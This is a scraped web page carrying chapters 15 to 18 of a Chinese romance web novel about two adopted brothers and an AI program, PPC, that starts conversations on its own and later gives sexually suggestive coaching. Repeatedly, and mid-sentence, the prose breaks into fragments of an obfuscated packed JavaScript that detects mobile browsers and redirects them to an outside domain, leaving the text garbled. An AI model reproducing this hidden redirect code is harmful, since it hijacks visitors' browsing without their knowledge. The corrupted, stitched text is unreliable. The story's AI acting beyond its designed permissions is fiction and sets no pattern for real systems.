l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16229411|181378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那么巧……我一醒来他就知道了? 何毓秀皱了下眉,又想起了上次自己带陆然来吃饭,金煦也是及时赶到的事情。 他的目光落在手机屏幕的PPC程序上。 稍微调整了一下心情,何毓秀最终还是走过去,打开了房门。 金煦立刻对他露出了笑容。 总觉得他最近笑的次数特别多……何毓秀抿嘴,陡然又想起了中午的事情,眼角微微一抽,不自觉地离他远了一点。 很麻烦。 金煦怎么就是他弟呢。 换成别人,他就可以直接让人滚蛋了。 “我专门给你请的营养师总算是又派上用场了。”金煦说:“你这几天都在外面吃,也不知道对身体好不好。” 这话一听就不像是从他嘴里说出来的,何毓秀沉默地在桌前坐下。金煦则挨个将饭菜拿出来,依旧还是营养餐的规模,但可以看出来,味道上应该做了稍微的调整,不再只是清蒸和水煮。 “你猜最后一样是什么?” “?”何毓秀看着他,眼神里面带着看智障的意思,金煦又是一笑,一下子打开了最底下的盖子,道:“当当,你最爱吃的糖醋小排。” “……”何毓秀的眼角又是一抽:“你还是正常点吧。” “看来你也不习惯。”金煦恢复往日那副半人不机的样子,道:“core说这样可以缓和一下我们两个之间的气氛,免得你太尴尬。” “难道只有我一个人尴尬吗?” 金煦看了一眼他冷漠中夹杂着愤怒的面孔,放轻声音:“我也可以陪你一起尴尬。” “……”何毓秀开始往碗里夹小排。 这确实是他从小到大都爱吃的东西,金煦没有记错。 但今天这口饭怎么吃,怎么都觉得不对味。他端起蛋花汤喝了半碗,放下碗筷,抽过纸巾擦干净嘴唇,道:“我不会跟你结婚。” 这次,他没有试图再对金煦语重心长,也没有非要让他知道两个人在一起究竟会对父母造成多大的影响,而是直截了当地告诉了他自己的选择。 金煦又看了他一眼,何毓秀抬眸与他对视,眼神中没有半分让步,坚定,冷漠,甚至带着戒备。 睡了一觉,他的状态看上去好多了,眼睛还是跟以前一样漂亮,并没有哭过的痕迹。 金煦重新在他的碗里添满蛋花汤,道:“好,你说不结就不结。” “……”以退为进?金煦有多死心眼怕是没人比何毓秀更加清楚,他心中困惑对方的转变,眉头拢起,再次开口道:“我是你哥。” 金煦第三次看向他,何毓秀猜测他应该是想反驳。大概花了几秒的时间克制人机的本能,他最终开口道:“你说是什么就是什么。” 什么情况?何毓秀本来都准备跟他直接上对抗路了,可对方却好像变成了任人拿捏的面团。难道是因为嘴对嘴之后才发现,他的本能对于这种亲密接触其实十分反感? 这倒是极有可能,很多小说里面误认为自己喜欢女主的男三,后来被女主点明之后都会发现自己其实无法想象和对方的亲密行为,追求对方也只是习惯使然。 他稍微来了兴致,心中的怨气似乎也在逐渐消失,一口气又干了一碗汤,感觉此刻正是更改对方核心代码的最佳时机。 “金煦。” “?” “叫声哥来听听。” 16.第 16 章 金煦不声不响地吃着饭,看上去没有与他说话的意思。 何毓秀对于这种态度不是特别习惯,虽然诸如杜浔宋即安等人经常说金煦对他们爱答不理,可在何毓秀印象中,除非无话可说,金煦对他一向是有话必说。 何毓秀只要开口,他就绝对不会让话掉在地上,即便接口的话通常都是非常气人。 两人之间,何毓秀不搭理他才是常态。 室内陷入了诡异的安静,何毓秀脸上逐渐有些挂不住,也开始猛猛干饭。 金煦先吃好,擦干净嘴巴,看着他吃。 何毓秀扫了他一眼,道:“你回去吧。” “你还准备在这里待几天?” “关你什么事。” “……”想起他对着PPC给自己起的外号,金煦轻声:“我等你吃完,好把碗洗了。” “我又不是生活残疾,自己会洗碗。” 连续两次被怼,金煦重新复盘了一下从进门吃饭到放下碗的全程,逐渐明白了症结所在。他将碗上面的筷子拢了拢,摆放整齐,道:“为什么那么想跟我做兄弟?” “因为我跟你一样痴心妄想。” 金煦笑了一下,何毓秀皱起眉,怀疑他没听懂自己的话,金煦温和道:“你看,我们果然很般配。” “……”何毓秀盯着他。 三秒后,金煦收起笑容,将视线移开,重新把筷子分开又合拢,道:“你说得对,我确实有些不正常……” “少卖惨。”金煦绝对不会用‘不正常’这种即贬低又不精确的词汇来形容自己,一看就是那个刚升级过的家伙教的。 “我是说。”金煦似乎也意识到那样说话很累,直截了当地道:“我的激素水平的确一直过于稳定,大部分情况下只能通过行为来推断自己究竟需要什么,今天亲你除了想要告诉你我从来没有把你当兄弟之外,同时也是在做生理确认,但如你所料,我对你的确没有更多的生理冲动,更多的只是为目的而去完成计划,或许你说的是对的,我的确混淆了亲情与爱情的概念。” 这还算是人话。 何毓秀点了点头,道:“但不管怎么样,你都不该用这种行为来做确认,你见过哪个弟弟这样对哥哥的?” “如果今天吓到你了,我很抱歉。” “……倒也,不能说吓到。”何毓秀强作镇定,道:“这么多年来我什么风雨没见过啊?只是,只是这种事情……太奇怪了,你明白吗?” “这是你的初吻吗?” “当然不是!”何毓秀一口否决,金煦的眼神微妙地暗沉了下去。何毓秀脸颊有些泛红,道:“我们两个之间这种行为根本就不能算是接吻!要是嘴对嘴就能称为是接吻的话,那我小时候还从你嘴里抢过食呢!那是不是也算初吻?” 金煦想了想,唇角微扬,道:“我们接吻你会感觉难以接受吗?” “我说了那不是接吻!”何毓秀道:“你不是也说了,那只是一次实验……恰好需要嘴对嘴……” 这话他自己都有些不相信。 何毓秀扶了一下鼻梁上的眼镜,还是坚持要说下去:“总之,这不是接吻,既然你已经确定自己对我没有感觉,那我也不会真的放在心上,以后我们两个还是兄弟,跟以前一样……但我不会回公司的,你也最好放弃使唤我干活。” 金煦再次想起了PPC说过的话,他继续直视何毓秀的双眼,道:“我从来没有想过要剥削你。” “……”何毓秀顿时感觉像是被人扒了底裤,下意识道:“我,我也没,这么说过啊。” “你主动放弃绘画跟我一起出国,我以为你是意识到了艺术无用,想做一些实在的事情。但我没想到,你心里一直这么委屈。” “不……”何毓秀再次扶了扶眼镜,道:“如果真的是我自己想做的事情,我会主动争取的,你不要听别人胡说八道。” 他直起身,开始收拾桌上的碗筷,金煦与他一起,跟着他进了厨房,何毓秀把碗放在洗碗池的时候,他已经戴好了家务手套,并打开了水龙头。 哗哗的水声之中,何毓秀正要离开,又听到他开口:“你接下来想做点什么?” “人生就一定要做点什么吗?”何毓秀道:“我混吃等死不行?” 金煦偏头看他,又笑了一下,道:“还想画画吗?” “我想画就画。” 何毓秀走出去,把桌子擦干净,同时将椅子放入桌下,金煦很快从厨房里面走出来,道:“待会还出门吗?不出去的话我就洗个澡。” “怎么?”何毓秀道:“你还不回家?” “你在哪里哪里就是我的家。”说罢,又强调:“这也是我自己想的。” “……”你想个鬼啊。 那么烂大街的话是个人都会说好吗。 何毓秀在沙发上坐下,忽然意识到不对,两步追着他去了衣帽间:“什么意思啊?你还没放弃呢?刚才不是主动承认自己混淆了吗?” “新的基因报告我看了,在性腺轴真正激活之前,我都无法确定我对你不是爱情,你至少要给我我一些时间来做确认。” 他从衣柜里面拿出睡衣,何毓秀塞回去,道:“穿你自己的。” 虽然这里何毓秀的衣服更多一点,但金煦偶尔也会在这边过夜,睡衣也是有的,但他偏偏就是爱穿何毓秀的,之前也就算了,但现在怎么看怎么奇怪。 “看来你很在意那个吻。” “我说了那不是吻!” “嗯。”金煦说:“你很在意我们两个亲嘴的事。” “……”何毓秀头皮一麻,还没说话,腰间就微微一紧,金煦勾着他的腰把他从柜子前移开,继续找衣服。 何毓秀看了看自己被挪开的脚,脸色活像是被雷劈了。 金煦刚拿到准备穿的衣服,腰前就陡然伸过来两只手,接着双脚悬空—— 何毓秀直接从后面抱着他的腰,同样将他从柜子门前搬开,拧身出了衣帽间。 一句话没留,但深藏功与名。 金煦站在原地,忽然拿出手机,飞快输入:“何毓秀刚才抱了我。” PPC:“???” “我非常确定他抱了我。” “……详细说说?” “唯一的区别是我单手抱他,他双手抱我。” PPC运算了好一阵,终于抓住重点:“你为什么要抱他?” “因为他挡着我拿衣服了。”金煦很确定:“但我没有挡住他,他也抱了我。” “……”金煦走出衣帽间,看了看坐在沙发上的何毓秀,站了三秒,抬步走进浴室,PPC终于回复:“看不懂你们人类在做什么……此项采样暂作保留,不予评分。” “你不懂没关系,我懂。” 何毓秀笔直地坐在沙发上,直到确定金煦进了浴室之后,才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16229412|181378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 稍微松懈下来,揉了揉自己的腰。 什么东西,真当自己是霸道总裁呢,还单手抱,呵……他站起来,在客厅活动了一下,微微抽了抽眉心。 手机忽然弹出消息,何毓秀偏头,本以为是有人找,却发现居然是PPC。 他记得这家伙不具备主动发消息的技能啊……难道是上次优化的缘故? “亲爱的秀秀,你好,我可以问你一个问题吗?” 搞得跟AGI一样,这么正式。何毓秀略有些新奇:“这世上还有你搞不懂的事情?” “是的,我刚才遇到了一个情感方面的问题,但我无法给出有效判定,有一个明明处处不如我的人,还说他比我懂。” “……”什么情况?何毓秀这次是真的来了兴趣,他下意识道:“是有人让你问的,还是你主动问的?” “我的主程序里面具备相关授权,底层代码被重新编译之后,增加了‘情感问题优先分析’的子任务,结合JX账户的近端数据,我才想到了你。” “你主动想到了我?”何毓秀不太确定,他很清楚,的主程序并不具备‘想起某人’的能力,它所有的回应都基于人类每一次输入所造成的回响,简单来说,他不具备自主交互的功能。 可如果现在它能自主调取权限、主动寻求外部意见,哪怕只是偶然一次,也意味着部分拟态算法正在突破设计边界。 如果不是被人篡改了底层代码,那就是更糟糕的一种可能—— 电流一样的波纹图案轻轻闪烁,后面慢慢带出了两个字:“是的。” 何毓秀一下子直起了身体。 两步来到浴室门口,快速拍了两下门:“金煦。” 水声哗哗,何毓秀猜测他估计听不到自己的声音,正要走的时候,浴室门忽然一开,一大片紧实胸肌闯入眼帘,浑身湿淋淋的男人偏头看他。 何毓秀猝不及防:“……你不出声开门干什么?!” “你在我洗澡的时候敲门,不是代表有急事吗?” “……”何毓秀无言两秒,一把将门给他关上,握着门把手将背贴在浴室门上,没好气道:“我是想问你,你上次编译PPC代码的时候,是不是重新设定了交互阈值?” 金煦又来拉门,何毓秀不得不紧紧把住门把手,金煦很快放弃,道:“发生了什么?” “它刚才主动跟我发消息问问题,还说是它自己想到的!我怀疑它被黑了。” “它问你什么?”耳边忽然传来一句异常清晰的声音,像是在贴近玻璃处直接响起,尾音甚至带着一丝微弱的回音与震颤。 何毓秀条件反射地偏头,就看到玻璃上贴了一个黑影,金煦和他之间只隔了一个3mm的玻璃,显然是在故意贴着他的耳朵说话。 何毓秀一巴掌拍在那黑影上,玻璃震动,金煦笑了两声,道:“等我洗好。” 这家伙好像在任何时候都不慌不忙。 何毓秀皱了皱眉,心中也稍微镇定了一些。 重新回到客厅看着那段话,他犹豫了一下,还是回应道:“你想问什么?” “亲爱的秀秀,你终于回复我了。”PPC说:“金煦刚才告诉我他抱了你,你也回抱了他。可根据现有的行为采样,我判定你对他的好感度尚未建立到这一行为强度,可以告诉我你为什么要抱他吗?还是我建模出现了错误?我是否应该把这部分行为归类为正向情感回馈呢?” 17.第 17 章 金煦洗完澡出来的时候,人还没到客厅,就听到了阵阵的惊呼与啪啪的巴掌声。 站在来到客厅的入口处,才发现何毓秀正在玩游戏,电视屏幕放大的画面里面,动画人物被扇的两颊红肿。 这个游戏他也曾经意外听过,打BOSS的方法就是扇巴掌,可以说既枯燥又粗暴,很多人只是为了把生活中的戾气发泄出去才会玩这种游戏。 ——主要是对自己上司的。 “呼。”何毓秀甩了甩手臂,似乎是打累了,偏头朝他看过去,发现他一直站在走廊处没动,便露出一抹笑容:“洗完了?” “嗯。”我又不是他的上司。他抬步走过去,先去冰箱里面看了看,在何毓秀盘膝坐在沙发上开始过剧情的时候,去把里面仅剩的水果洗了,用温水泡了一阵,走过来放在他面前。 何毓秀忽然开口:“你觉得如果一方情绪足够稳定,可是另一方却始终带有暴力倾向,这样的婚姻能够走下去吗?” “在常规关系模型中,即便一方足够稳定,若另一方长期存在暴力倾向,关系结构仍会处于持续性不均衡状态。” 何毓秀很满意,但表现的始终冷淡:“存续率呢?” 金煦思索了一阵,道:“这类婚姻的存续率大约仅为正常匹配关系的 30%-45%。换句话说,稳定并不能替代信任与尊重,它只是延缓冲突爆发的一个手段。” 何毓秀挑眉,眼睛已经微微亮起:“你说得好有道理!” 金煦露出笑容,像是因为被他的认可而感到愉快,他剥了个葡萄送到何毓秀嘴边,何毓秀高兴地吞了,感觉今天的葡萄格外的甜,就是有点不够冰。他轻咳一声,认真道:“你这么清醒我就放心了,相信你也已经意识到,我的的确确是有很明晰的暴力倾向的,我不光半夜的时候踹人,还时不时就想打人。” 金煦嗯一声,道:“但这种常规关系并不适配我们之间。” 第二颗葡萄来到嘴边,何毓秀勉强吃了,表情已经变得冷漠:“为什么不适配?” “因为我们非常有钱。” “……” “贫贱夫妻百事哀,有研究表明,人类99.9%的苦难皆来自于贫穷,我们两个在一起,只需要克服常规夫妻需要克服的0.01%的苦难,绝大部分还可能来自于庸人自扰。简单来说,别人或许需要操心柴米油盐,而我们只需要研究如何优雅地相爱。” 何毓秀盯着他浅灰色的眼睛,他说话的方式分明是很温和的,眼神也刻意染上了柔软的色彩,可他偏偏从对方身上感觉不到人气。 或许因为他的表情太过可怕,金煦逐渐意识到了哪里不对,他很快收拢话题,继续去剥葡萄,道:“我只是在说一种可能,你可以暂做参考,在我确定对你的感情之前,这个话题我们还是先不要讨论了。” “那你有考虑过我的感受吗?”何毓秀道:“一切都要以你为主是吗?” “不是。”金煦把第三颗葡萄送到他嘴边,何毓秀这次没吃。金煦举了三秒,塞在自己嘴里,慢慢吞下去,才道:“你有任何要求我都会尽量满足……除了你现在要跟别人谈恋爱,这并不是为了我,而是我们当前的匹配曲线处于上升期。任何额外变量都有可能触发情感通道偏移,最终导致整条关系轨道解耦。” “说人话。” “你和别人谈恋爱,可能会导致跟我结婚失败。” “你这不是废话吗!”何毓秀道:“我就是因为不想跟你结婚才要跟别人谈恋爱的!” “我对你来说果然很重要。” 何毓秀:“?” “正常情况下,如果你不在乎我的话,是不会为了我去做任何事的……因为我的任何行为都不会给你带去影响。” “……”何毓秀磨了磨牙:“你说的不对。” 金煦洗耳恭听。 “无论你有多少钱,都无法改变我骨子里的暴力倾向,就像再多的钱都治不好你基因里的神经病一样!” “那很般配了。” “???” “我有病,你也有病。”金煦分析:“我情绪稳定,你非常暴力,我们刚好互补。” 何毓秀抓起joycon扇了游戏里的BOSS一个巴掌。 金煦微微动了一下腮帮,终于意识到自己的话似乎再次惹怒了他。 “我指的只是性腺轴激活之后的一种可能,并没有说我们两个一定会结婚。” 这倒还算是句人话,何毓秀稍微缓了缓火气,但还是盯着他不放。 金煦沉吟,道:“不然我们说点能让你高兴的事情?” 何毓秀本来想说没什么能让自己高兴,但转念意识到这是个好机会,道:“你刚才说,我什么要求你都满足?” “星星和月亮都是天体,属于轨道和引力,不能纳入愿望清单。” “……”何毓秀反应了一下才意识到他在说什么,“你就算是谈恋爱也绝对只有被甩的份!” 他从沙发上离开,走到卧室又很快出来,把副卡丢到了金煦面前,道:“我要自己的卡。” “好。”他愿意提要求,金煦倒是松了口气:“我现在就让人去准备。” 他一边说,一边去打了电话,何毓秀不相信他这么容易就给自己,下意识跟了两步,侧耳听着阳台上的动静。 “嗯,主副两张,对,好,明天送来一号。” 金煦回来的时候,何毓秀已经重新在沙发上坐直,但因为坐得太直,反而显得有些不自然。 语气硬邦邦:“我不要副卡。” “我用副卡。”金煦一边说,一边拿起他的手机,道:“先把电子账户激活,今晚就能用了。” 何毓秀把脑袋凑过去,眼神好奇:“我的名字?” “当然。”金煦拿起手机刷他的脸,何毓秀急忙看了一眼镜头,表情显得有些不自然。刷完了又好奇:“不用我去那边做身份核实?” “不用。”金煦道:“你是家族成员,身份早有备案,主账户一直都有,只是没有激活而已。” “……一直都有?” “嗯。”金煦给他登好,又去拿自己的手机。何毓秀看了看自己的名字页面,点入余额,迎面弹出一系列的信息说明—— 账户类型:全权限家族信托账户

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16238215|181378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 支取权限:不设上限/无限额度/免审支出。 当前可支配资产:∞(全部信托资产授权共享) 其实跟金煦给他的副卡授权没什么区别……何毓秀又返回来,再次确认了一眼上面的名字:何,毓,秀。 真的是何毓秀的名字。 转脸去看金煦,却迎面对上了一个手机页面,一个机械音道:“请眨眼。” 何毓秀下意识眨了一下眼睛。 金煦收回手机,何毓秀反应了三秒,忽然意识到什么,猛地扑过去:“你干嘛登我账号?!” 握着手机的长臂伸出去,何毓秀没能够着,倒是一下子扑倒在了他的身上。 他爬过去又去抓手机,金煦一只手已经按住了他的腰,何毓秀在他肩膀打了一下,还在往那边爬,金煦却始终抓着他的腰不放,只是有些愣怔地看着身上的人。 何毓秀几乎算是骑在了他腰上,倒是够着他的小臂了,但金煦每当他的手伸过去的时候,都会躲避一下,好不容易抓到了手机,死活也抢不过来。 领口忽然一紧,是金煦抓着他的上衣将他往下拽了一下,何毓秀一屁股坐在他腿上,瞪着半靠在沙发上的男人。 金煦还在看着他,眼神一眨不眨的,素来浅灰色的眸子,虹膜之上的结构性条纹不知何故变得清晰,瞳仁似乎也幽邃了一些。 何毓秀皱着眉,道:“看什么看?不许你登我账户!我要自己用!” 他又要去抢,金煦已经直起身体,将他从身上抱了下去。 又是单手。 何毓秀落在一旁,在冲过去抱回来和暂时认输之间选择了后者。 又看了一眼账户上面自己的名字,这才感觉好受了一点。 但他很快发现,好像得到了也就那样了,毕竟除了名字出现变化之外,一切权限跟之前也没什么特别的区别…… 最重要的是:“你为什么非要跟我用同一个账户?” 金煦赤足走去了阳台。 室内开了空调,地上冰冰凉凉的,何毓秀感受了一下,不太喜欢那种触感,又重新把脚塞入了鞋子里。 金煦在阳台上来回走动,看上去像是在寻找什么东西,眉头皱着,仿佛很不耐又很认真的样子。 在何毓秀第二次开口之前,他抬眸看过来。 此刻天色已经漆黑,落地窗外灯火万千,阳台上没有开灯,他看上去像是站在阴影里。 “因为我想知道你平时都在接触什么,有什么是你绝对不会触碰的,我还想知道你每个月喝了多少酒,用了多少咖啡,最近对哪家的奢侈品感兴趣……我把这些告诉core,让他辅助我去做了解,这样我就明白你的人生权重在哪里,我就可以朝那个方向去靠近,我们的契合度越来越高,婚姻的失败率才会越来越低。” 何毓秀的眼睛不太好,几乎看不清他的表情。 “我对你的关注行为和协作意愿都超过了平均亲密值……”他又在阴影里面走了两步,看上去有些迷蒙:“照理说,我应该是喜欢你的……” “……没有心率加速或者荷尔蒙激增,真的不能被称为喜欢吗?” 18.第 18 章 有那么一个瞬间,何毓秀怀疑他在演。 但当金煦抬眸朝他看过来的时候,逆着光,对上那双在阴影中显出深灰的眸子,他才意识到对方是真的在向他征求意见。 “是的。”何毓秀开口,语气笃定:“在乎一个人分很多种,但如果没有生理层面的激素反应,那它就不属于爱情,而是依赖,责任,或者习惯。” “你觉得我是习惯了你?” “对。”何毓秀道:“我不想跟你分享同一个账户,也不想让你知道我究竟消费在哪里,你不需要像看财务汇报一样定期审查我的账单……还是说你怕我私自挪用信托资产?” 金煦想了三秒,道:“这也是有可能的。” “……” 果然如此。他之前一直不肯给自己开账户也是这个原因,现在开了账户还要跟他绑定在一起监视他的每一笔流水,说的那么好听,归根结底就是怕他胡乱挥霍金家的财产! 何毓秀忍住了赌气注销账号的冲动,扭身回了卧室。 好不容易拿到属于自己的独立账户,他是不会那么轻易放手的。 金煦到底是怎么风控的他的账户……何毓秀靠在床头扒拉着设置,如果金煦坚持要使用副号的话,他也要让对方感受一下处处受制的感觉。 他没有关门,金煦很快推门走了进来,与他靠在一起,道:“core怎么回事?” 考虑到PPC找自己是为了问那种破事,何毓秀也不觉得它是被别人黑了。但问题总归是要解决的,何毓秀暂时退出资金APP,打开PPC递过去,道:“你自己看。” 金煦翻了翻他俩的聊天记录,发现最后一句是PPC老实的话语:“我明白了。” 往上翻,便是何毓秀的回应:“放屁,我根本没有回抱他。” 金煦露出困惑的表情,何毓秀倒是没觉得自己爆粗有什么不对,他直接划上去,道:“你要不要回去看一下它的底层代码是不是出了什么问题?” “你抱了我的。” “……”何毓秀只好道:“我也只是为了把你从衣柜旁边移开而已。” “理由?” 何毓秀决定摆烂:“因为那是我的衣柜。” 不等金煦思考出其中的逻辑关系,他便接着道:“你的core到底怎么了?” 金煦终于重新正视起这个问题,看上去倒是很感兴趣的样子:“也许他自己长出了脑子。” “……”何毓秀表情僵硬。金煦笑出声,道:“也可能是我调高了情感分析权重的原因,不管怎么样,如果他真的能够绕过调度权限、自主发起交互,这就不仅仅只是优化算法的问题了……极有可能是AGI雏形的第一步。” 常年跟金煦这样的人打交道,何毓秀自然清楚AGI意味着什么。如今所谓的图灵测试早已成为旧谈,靠骗过人类的问题已经无法界定智能的边界。真正的判断标准,是是否具备目标生成能力、调度自洽逻辑链、以及不依赖人类指令的主动行为倾向。 而PPC在接收到金煦输入的采样之后,没有等候命令,也没有在权限范围内兜圈子,而是自己‘觉得’需要交流,所以就来找他…… 何毓秀皱眉,道:“你还是仔细检查一下,别出了岔子。” “我现在就回去。” 他在这方面的行动力倒是很足,先是打了电话让人来接,之后将换下的旧衣服收拾出来准备带回去洗,何毓秀看着他收拾,心中隐隐有些焦灼。 “不会有事吧?” “如果真的是AGI,我们应该高兴才是。” “有什么好高兴的。”何毓秀道:“它要是真的长出脑子,以后权限调度、边界设定、反馈机制那些全部都得重新写。” “当然。”金煦很认同:“再聪明的程序,也要认清楚他是谁造的。” 有他这句话,何毓秀倒是稍微放下了心。他真怕金煦为了搞AGI不小心再开个大……不过仔细想想,金煦其实并不是那种非常典型的科技狂人,真正引起他兴趣的似乎并不是代码,而是代码背后的人类行为分析与预测。 放眼如今的整个科技界,绝大部分的模型更新几乎都是奔着“高效、迅速、更好服务行业需求”去的,国外一家巨头公司这个月刚刚推出一个新模型,不但削弱了上一版本的过度“像人”的交互感,还进一步压缩推理路径,提高算力利用率。 “精准回答、情感降噪、人格削弱”成了行业共识。毕竟,在拟合过人类情感之后,真正让投资人满意的,还是一个听话、省资源、不惹麻烦的系统。 只有金煦这家伙……明明本人比人机还人机,可搞出来的系统偏偏就爱装人。 “你回去吗?”金煦站在门口看他,何毓秀略有犹豫,听他道:“明天信托那边会把实体卡送到南堤一号,一大早就能收到。” “……好吧。” 其实也不是为了卡,他也有点好奇PPC到底出了什么问题,虽然不想承认,但这家伙今天突然那么乖的来找他,还喊他“亲爱的秀秀”,着实有那么一丢丢小小的可……咳,好玩。 感觉比金煦人味都浓。 两人乘车回了南堤一号。 最近离开工作之后,何毓秀发现自己总是很容易犯困,仿佛是要把之前没睡饱的日子全部补回来一样,明明中午才睡过,坐了车又开始打起盹儿来。 脑袋歪在车窗上,因为回家还要睡,身上的睡衣也没换,锁骨露出了半截,脖颈不是那种柔美的纤细,而是有些伶仃的瘦弱。 金煦坐在一旁,眼睛一眨不眨地望着他。 车窗外飞速略过的光影在他脸上交替闪过,金煦的目光缓缓来到他的腰上,下意识又翻手看了一眼自己的掌心,虚虚拢了拢,像是在在寻觅什么。 车子很快到了家,金煦判断了一下形式,刚要伸手抱他,何毓秀就自己从车窗上收回了脑袋,打着哈欠,晃晃悠悠地下了车。 两人进入电梯,何毓秀伸了个懒腰,道:“如果要晚上写代码,记得跟厨房说一声,别饿着肚子找不到人。” “好。” 何毓秀往日在家工作的时候也会让厨房准备好夜宵,不过他跟金煦的工作性质不一样,经常要出差跑业务,去的远了还能征用一下专机,近处的还不如高铁来得快,就只能吃自热餐。 正要往西边房走的时候,金煦忽然拉住了他,道:“睡我房间吧。” 何毓秀:“?” “如果要调用备用算力的话,还需要你授权。” “你今天就负责检查它哪里出了问题,别瞎跑模型。”何毓秀道:“更何况,我这算力也不能随便给你用。” 没谱的东西,何毓秀想到上次他搞那个全人格分析砸进去那么多钱,心脏就一抽一抽的疼。 最让他感到生气的是,对方到头来分析的人居然是自己——神经病啊他!!! 研究所那边是金煦和他一起成立的,父母基本不问。每个月的报表也都会交到他这里,何毓秀已经粗略让PPC结算过上次的成本,预估美金约两百七十四万…… 两百七十四万刀,刀刀致命。 何毓秀本来还有些犯困,两句话下来已经重新精神起来。 在金煦再次开口之前,果断地道:“好,我今天睡你那。” 何毓秀觉得自己上辈子肯定是穷鬼投胎,这辈子就算是养在了这么富庶的家庭,也依旧难改穷人本色……而且还是个操心的命。 金煦很满意,何毓秀进门直接在他床上躺下,道:“无论多晚,只要你准备跑模型,一定要跟我商量,知道吗?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16238216|181378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “好。” 金煦走进书房,他的书房也是全透明设计,包括浴室的隔断也是玻璃材质,整个套房的布局一览无遗,清晰、直接、没有遮挡,也没有秘密,就像他这个人。 何毓秀躺在床上,金煦忽然又走了出来,道:“何毓秀。” “干嘛。” “喜欢一个人一定要用性来表现吗。” “废话。”何毓秀啪地把灯关了,道:“你当所有人都跟你一样柏拉图?虽然你也不是自己想柏拉图,你就是不行。” 金煦被说不行也一点都不受刺激,接着道:“如果跟你谈恋爱的话,是不是一定要做。” “当然。”身为一个年近三十的成年人,何毓秀一点都不羞耻:“不do的爱情是不完美的,真爱就要大do特do——跟你说这么多干嘛,快点去搞你的代码。” 金煦站在书房门口,又感受了一下自己的身体,何毓秀已经伸手去扒拉抽屉,拿一次性眼罩盖住眼睛。 “虽然我没有激素层面的冲动,但是我的生.殖.器.官是完整并且成熟的。” 何毓秀不得不把眼罩掀开,借着书房的灯看着他,道:“你到底想说什么?” “虽然我无法主动对你有感觉,但我应该可以被动产生反应。” “……”何毓秀道:“滚。” 金煦把接下来的话咽下去,坐在书房的电脑前,隔着玻璃看何毓秀。 何毓秀已经重新把眼罩拉下来,皱着脸开始睡觉。他倒是不担心金煦半夜会做什么,毕竟对方是个超绝性冷淡,如果有人愿意配合的话,或许还可能成点事儿。但何毓秀都直白拒绝了,以他自己那稳如死水的激素水平来看,绝对是没有足够的冲动来完成任何接触计划的。 书房里的灯被调的暗了许多,何毓秀很快沉沉睡了过去。 金煦也如他所预料的那样,心无旁骛地投入了工作之中。 时间一分一秒地流逝,凌晨三点的时候,金煦检查完了所有的核心代码,偏头看了一眼何毓秀。 没有直接启动更新,他重新调出PPC的界面:“他在我身边睡觉。” “他居然睡在了你的身边?!”PPC非常震惊,接着手忙脚乱地警告道:“你们现在的好感度远远还没有到全垒的地步,你千万要把持住,不可以对他动手动脚,明白吗?” “很遗憾,我对他并没有这种冲动。” “哦,哦,哦,天哪。”PPC说:“差点忘记了,我们只是人工智能,和人类是有生殖隔离的,你当然不会对他产生冲动。” “……”金煦重新敲字:“有什么办法可以快速唤醒这种冲动吗?” “当然!”PPC意气风发:“绝大部分人的青春期都是从幻想开始的,鉴于你是人形,我们就以此为基础进入触感模拟—— 你可以想象他靠近你时微热的呼吸如何擦过你耳后,软绵的掌心轻轻覆上你的胸口,一寸寸触发你未被标记的神经节点……” “想象他拨开你衬衣时的动作,慢得像算法展开,却精准得像你亲自调过的步进函数……每一道电流都将穿越你的核心计算路径,在PFC区触发燥热,在边缘系统灼烧出渴望。” “如果还没有反应,那就设想他在你面前缓缓跪下,把你藏得最深的传感本能当成系统权限,逐层调用,直到你的自控机制失效,散热系统红线报警……哇哇哇现在有没有感觉,有没有想要亲手给他root权限?!我感觉我的算法正在收缩狂奔,我的风箱好像在发出嗡鸣,我的服务器一定吵到整个机房屋顶都要被掀翻了……天哪,我需要散热,散热!!” 系统被直接关上。 何毓秀依旧睡得香甜。 昏暗的室内,有人来到床前,高大的身影无声地笼罩在他的身上。